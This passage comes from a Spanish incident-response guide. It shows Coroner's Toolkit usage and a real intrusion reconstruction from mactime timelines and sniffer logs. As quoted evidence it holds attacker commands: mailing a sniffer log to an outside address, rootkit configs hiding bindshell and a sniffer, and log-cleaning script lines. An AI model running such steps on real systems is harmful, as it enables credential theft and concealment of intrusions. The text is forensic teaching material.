Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

